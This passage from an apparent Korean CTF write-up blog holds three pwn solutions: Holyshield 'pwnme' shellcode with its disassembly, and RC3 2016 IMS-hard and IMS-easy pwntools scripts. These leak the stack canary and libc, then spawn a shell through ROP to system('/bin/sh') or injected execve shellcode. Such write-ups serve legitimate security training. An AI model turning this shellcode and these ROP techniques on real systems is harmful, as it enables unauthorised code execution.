        thread.start_new_thread(handler, (cli_sock, cli_addr))
 
cs


[shellcode]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Disassembly
Raw Hex (zero bytes in bold):
 
31C0B3018B0C2481C1262300008B09034DB4B26CB004CD80   
 
String Literal:
 
"\x31\xC0\xB3\x01\x8B\x0C\x24\x81\xC1\x26\x23\x00\x00\x8B\x09\x03\x4D\xB4\xB2\x6C\xB0\x04\xCD\x80"
 
Array Literal:
 
{ 0x31, 0xC0, 0xB3, 0x01, 0x8B, 0x0C, 0x24, 0x81, 0xC1, 0x26, 0x23, 0x00, 0x00, 0x8B, 0x09, 0x03, 0x4D, 0xB4, 0xB2, 0x6C, 0xB0, 0x04, 0xCD, 0x80 }
 
Disassembly:
0:  31 c0                   xor    eax,eax
2:  b3 01                   mov    bl,0x1
4:  8b 0c 24                mov    ecx,DWORD PTR [esp]
7:  81 c1 26 23 00 00       add    ecx,0x2326
d:  8b 09                   mov    ecx,DWORD PTR [ecx]
f:  03 4d b4                add    ecx,DWORD PTR [ebp-0x4c]
12: b2 6c                   mov    dl,0x6c
14: b0 04                   mov    al,0x4
16: cd 80                   int    0x80
 
# ref) https://defuse.ca/online-x86-assembler.htm 
cs


[Exploit Code] - pwnme_exploiyt.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
import hexdump
 
context(arch='i386',os='linux')
local=False
#local=True
 
if local:
    p = remote("127.0.0.1"9091)
else:
    p = remote("1.224.175.27"10030)
 
#binary = ELF("./pwnme")
 
raw_input()
 
#payload1 = "\xBB\x01\x00\x00\x00\x89\xE1\xBA\x3C\x00\x00\x00\xB8\x04\x00\x00\x00\xCD\x80"
#payload2 = "\xBB\x01\x00\x00\x00\x83\xC4\x3C\x89\xE1\xBA\x3C\x00\x00\x00\xB8\x04\x00\x00\x00\xCD\x80"
#payload3 = "\xBB\x01\x00\x00\x00\x8B\x0C\x24\x81\xC1\x26\x23\x00\x00\xBA\x3C\x00\x00\x00\xB8\x04\x00\x00\x00\xCD\x80"
#payload4 = "\xBB\x01\x00\x00\x00\x8B\x0C\x24\x81\xC1\x26\x23\x00\x00\x8B\x09\xBA\x3C\x00\x00\x00\xB8\x04\x00\x00\x00\xCD\x80"
#payload5 = "\x31\xDB\x43\x8B\x0C\x24\x81\xC1\x26\x23\x00\x00\x8B\x09\x81\xC1\x31\xAA\x01\x00\xBA\x3C\x00\x00\x00\xB8\x04\x00\x00\x00\xCD\x80"
payload6 = "\x31\xC0\xB3\x01\x8B\x0C\x24\x81\xC1\x26\x23\x00\x00\x8B\x09\x03\x4D\xB4\xB2\x6C\xB0\x04\xCD\x80"
 
print p.recv(1024)
print p.send(payload6+'\n')
print p.recv(1024)
print hexdump.hexdump(p.recv(1024))
cs


[Get Flag~~!!!!]

끝~!

'CTF writeup' 카테고리의 다른 글

[BoB CTF_2016] megabox(pwn)  (2) 2017.01.10
[Christmas CTF_2016] StupidRSA(misc)  (0) 2016.12.26
[Christmas CTF_2016] NMS(misc)  (0) 2016.12.26
[RC3 CTF_2016] IMS-hard(pwn)  (2) 2016.11.25
[RC3 CTF_2016] IMS-easy(pwn)  (0) 2016.11.25
Posted by holinder4S
2016. 11. 25. 00:58

## RC3 CTF_2016(IMS-hard,pwn,400pts)


[Summary]

1. OOB memory leak(stack) vuln -> canary leak, libc leak

2. NX, Stack Canary Bypass 

3. ROP exploit

4. Use libc-database -> libc version check


[Exploit Code]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *
import base64
 
context(arch = 'i386',os='linux')
local=True
 
if local:
    p = process("./IMS-hard")
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.19.so")
else:
    p = remote("ims.ctf.rc3.club",8888)
 
binary = ELF("./IMS-hard")
 
raw_input()
 
def send_add(id_param, code_param):
    p.recvuntil('Choose: '); p.send('1\n')
    p.recvuntil('ID: '); p.send(id_param + '\n')
    p.recvuntil('code: '); p.send(code_param + '\n')
def send_delete(id_param):
    p.recvuntil('Choose: '); p.send('2\n')
    p.recvuntil('delete: '); p.send(id_param + '\n')
def view_record(index):
    p.recvuntil('Choose: '); p.send('3\n')
    p.recvuntil('view: '); p.send(index + '\n')
    stack_leak = p.recvline()
    stack_leak = stack_leak[12:stack_leak.find(',')]
    #print '[*] wjdebug : ' + hex((int(stack_leak) & 0xffffffff))
    #print '[*] wjdebug : ' + hex(stack_leak)
    
    return stack_leak
 
for i in xrange(0,5):
    send_add('1094795585','BBBBCCCC')
 
############################ info leak ################################
popret_gadget = 0x08048a7c
libc_start_main_got = 0x08049fec
printf_got = 0x08049fc4
puts_plt = 0x08048560
puts_got = 0x08049fdc
fwrite_got = 0x08049fd8
 
puts_offset = 0x657e0
oneshot_gadget_offset = 0x4025b
system_offset = 0x40310
binsh_offset = 0x16084c
start_addr = 0x8048a7e
 
print '[INFO LEAK VULN]'
 
### info 1 ###
canary_leak = view_record('5')
canary_addr = hex(int(canary_leak) & 0xffffffff)
print '[*] stack_canary : ' + canary_addr
print '[*] stack_canary(dec) : ' + str(int(canary_addr,16))
 
#########################################################################
 
send_add(str(int(canary_addr,16)),'BBBBCCCC')            # canary control
send_add('1094795585','BBBBCCCC')                # garbage ('AAAABBBBCCCC')
send_add(str(puts_got),p32(puts_plt) + p32(popret_gadget))    # puts_plt + popret + puts_got
#send_add(str(printf_got),p32(puts_plt) + p32(popret_gadget))    # puts_plt + popret + printf_got
send_add('1094795585',p32(start_addr) + 'CCCC')        # _start addr
 
p.recvuntil('Choose: '); p.send('4\n')
 
 
puts_addr = u32(p.recv(4))
libc_base_addr = puts_addr - puts_offset
oneshot_gadget_addr = libc_base_addr + oneshot_gadget_offset
system_addr = libc_base_addr + system_offset
binsh_addr = libc_base_addr + binsh_offset
print '[*] puts_addr : ' + hex(puts_addr)
print '[*] libc_base_addr : ' + hex(libc_base_addr)
print '[*] oneshot_gadget_addr : ' + hex(oneshot_gadget_addr)
print '[*] system_addr : ' + hex(system_addr)
print '[*] binsh_addr : ' + hex(binsh_addr)
 
for i in xrange(0,9):
    send_delete('0')
for i in xrange(0,5):
    send_add('1094795585','BBBBCCCC')
 
send_add(str(int(canary_addr,16)),'BBBBCCCC')
send_add('1094795585','BBBBCCCC')
send_add(str(int(binsh_addr)),p32(system_addr) + 'CCCC')
 
p.recvuntil('Choose: '); p.send('4\n')
 
######################### libc version check #############################
#got_leak = p.recv(1024)
#puts_got = u32(got_leak[0:4]); #puts_got_addr = hex(int(puts_got) & 0xffffffff)
#printf_got = u32(got_leak[5:9]); #fwrite_got_addr = hex(int(fwrite_got) & 0xffffffff)
#print '[*] puts_got : ' + hex(puts_got)
#print '[*] printf_got : ' + hex(printf_got)
##########################################################################
 
p.interactive()
 
# ref) https://github.com/niklasb/libc-database
# dynELF study (https://gist.github.com/Inndy/a2c630a6e70d892758908915914cebfc)
cs


'CTF writeup' 카테고리의 다른 글

[BoB CTF_2016] megabox(pwn)  (2) 2017.01.10
[Christmas CTF_2016] StupidRSA(misc)  (0) 2016.12.26
[Christmas CTF_2016] NMS(misc)  (0) 2016.12.26
[Holyshield CTF_2016] pwnme(pwn)  (0) 2016.12.26
[RC3 CTF_2016] IMS-easy(pwn)  (0) 2016.11.25
Posted by holinder4S
2016. 11. 25. 00:51

## RC3 CTF_2016(IMS-easy,pwn,150pts)


[Summary]

1. OOB memory leak(stack) vuln

2. Shellcode Execute & EIP control


[Exploit Code]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
import base64
 
context(arch = 'i386',os='linux')
local=False
 
if local:
    p = process("./IMS-easy")
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.19.so")
else:
    p = remote("ims.ctf.rc3.club",7777)
 
binary = ELF("./IMS-easy")
 
raw_input()
 
def send_add(id_param, code_param):
    print p.recvuntil('Choose: ')
    p.send('1\n')
    print p.recvuntil('ID: ')
    p.send(id_param+'\n')
    print p.recvuntil('code: ')
    p.send(code_param+'\n')
 
send_add('2425393296','\x90\x90\x90\x90\x90\x90\x90\x90')
#send_add('1768042344','\x31\xc0\x50\x68'+'\x2f\x2f\x73\x68')
#send_add('2424360203','\x6e\x89\xe3\x50'+'\x53\x89\xe1\xb0')
send_add('1751675695','\x6a\x0b\x58\x31'+'\xf6\x56\x68\x2f')
send_add('2160970377','\x2f\x62\x69\x6e'+'\x89\xe3\x31\xc9')
 
for i in xrange(0,3):
    send_add('2425393296','\x90\x90\x90\x90\x90\x90\x90\x90')
 
 
print p.recvuntil('Choose: ')
p.send('3\n')
print p.recvuntil('view: ')
p.send('7\n')
stack_leak = p.recvline()
print stack_leak
stack_leak = stack_leak[12:stack_leak.find(',')]
stack_addr = hex(4294967295+int(stack_leak)+1)
print 'stack_addr : ' + stack_addr
print 'stack_addr(dec) : ' + str(int(stack_addr,16))
 
print p.recvuntil('Choose: ')
p.send('1\n')
print p.recvuntil('ID: ')
p.send(str(int(stack_addr,16)-220)+'\n')    # EIP control to shellcode!
print p.recvuntil('code: ')
p.send('AAAAAAAA\n')
 
print p.recvuntil('Choose: ')
p.send('4\n')
 
p.interactive()
'''
print '[*] Sending Payload...'
payload = base64.b64encode('0000\x78\x92\x04\x08\x40\xeb\x11\x08') + '\n'
p.send(payload)
print p.recv(1024)
 
print "[*] Exploit Success~~!!!\n\n"
p.interactive()
'''
 
cs


'CTF writeup' 카테고리의 다른 글

[BoB CTF_2016] megabox(pwn)  (2) 2017.01.10
[Christmas CTF_2016] StupidRSA(misc)  (0) 2016.12.26
[Christmas CTF_2016] NMS(misc)  (0) 2016.12.26
[Holyshield CTF_2016] pwnme(pwn)  (0) 2016.12.26
[RC3 CTF_2016] IMS-hard(pwn)  (2) 2016.11.25
Posted by holinder4S